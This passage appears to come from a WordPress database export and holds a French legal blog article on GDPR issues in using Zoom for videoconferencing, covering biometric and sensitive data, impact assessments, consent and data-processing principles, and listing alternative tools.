</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La CNIL explique&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L\'AIPD&nbsp;se décompose\nen trois parties :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Une description\ndétaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects\ntechniques qu’opérationnels</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’évaluation, de nature\nplus juridique, de la nécessité et de la proportionnalité concernant les\nprincipes et droits fondamentaux&nbsp; (finalité, données et durées de\nconservation, information et droits des personnes, etc.) non négociables, qui\nsont fixés par la loi et doivent être respectés, quels que soient les risques ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus\ntechnique, des risques sur la sécurité des données&nbsp;(confidentialité,\nintégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur\nla vie privée, qui permet de déterminer les mesures techniques et\norganisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nenvisagé figure dans&nbsp;</em><a href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"><em>la liste des types\nd’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a\nestimé obligatoire de réaliser une analyse d’impact relative à la protection\ndes données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage\nà la mise en cause de sa responsabilité. Les ordres professionnels doivent être\nsensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une\nsolution conforme aux exigences du règlement. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom\nSued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;</em><em><a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\" rel=\"noreferrer noopener\">lawsuit</a>&nbsp;[PDF], filed on Monday in\nCalifornia. The plaintiff in this case, Robert Cullen of Sacramento,\nCalifornia, The Register</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany\nRoush, Director at the Crypsis Group, said</a> : \"that having that kind of\nflexibility to ensure that critical services can carry on, especially in a\ncrisis, does not take the teeth from the CCPA and GDPR. If anything, it\ndemonstrates that the regulatory bodies are carrying out their essential\nfunction -- which is to ensure that companies protect consumer data... In many\nways, the CCPA and GDPR should take a page from HIPAA, which lowered security\nstandards for telehealth in order to manage the critical healthcare demands of\nthe pandemic... we do not have the luxury of time on our side to devise perfect\nsolutions.\"</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions\nalternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://awallon.com:15001/d/f/547174418065971682\">https://awallon.com:15001/d/f/547174418065971682</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si vous teniez malgré\ntout à continuer à utiliser cette application, voici des conseils sur comment\nutiliser Zoom avec plus de sécurité :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->','','','inherit','closed','closed','','601-revision-v1','','','2020-04-07 21:03:10','2020-04-07 20:03:10','',601,'https://datarainbow.eu/2020/04/07/601-revision-v1/',0,'revision','',0),(613,5,'2020-04-07 21:04:11','2020-04-07 20:04:11','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application\nde la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable.\nLes données précédemment notamment de santé, répertoriées comme des données\n‘sensibles’, sont désormais des données de catégorie spéciale <strong>art 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\" rel=\"noreferrer noopener\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les\ndonnées doivent être collectées doivent répondre aux exigences de licéité énumérées\nà <strong>l’art 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\ntraitement de données doit répondre à une finalité légitime telle qu’énumérée à\nl’<strong>art. 6</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le\ntraitement pourra être, soit considéré comme relevant d’un intérêt légitime –\navec nécessité de procéder aux tests en trois parties – soit une demande de\nconsentement préalable sera indispensable. Le motif de traitement devra être\nconsigné par le contrôleur le cas échéant sur son registre des traitements <strong>art.\n30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy\nnotice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché\nà tout moment avec le risque d’invalider la licéité de tout enregistrement\nconservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’Art 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre,\nspécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte,\npar une déclaration ou par un <strong>acte positif clair</strong>, que des données à\ncaractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence\nlorsque les données sont collectées avec précision de l’enregistrement ou toutes\ndiffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots)\ndes meetings. Rappelons que, s’agissant de données biométriques capables\nd\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci\nconcerne les données des participants et de toutes autres données personnelles traitées\nlors de la visio-conférence 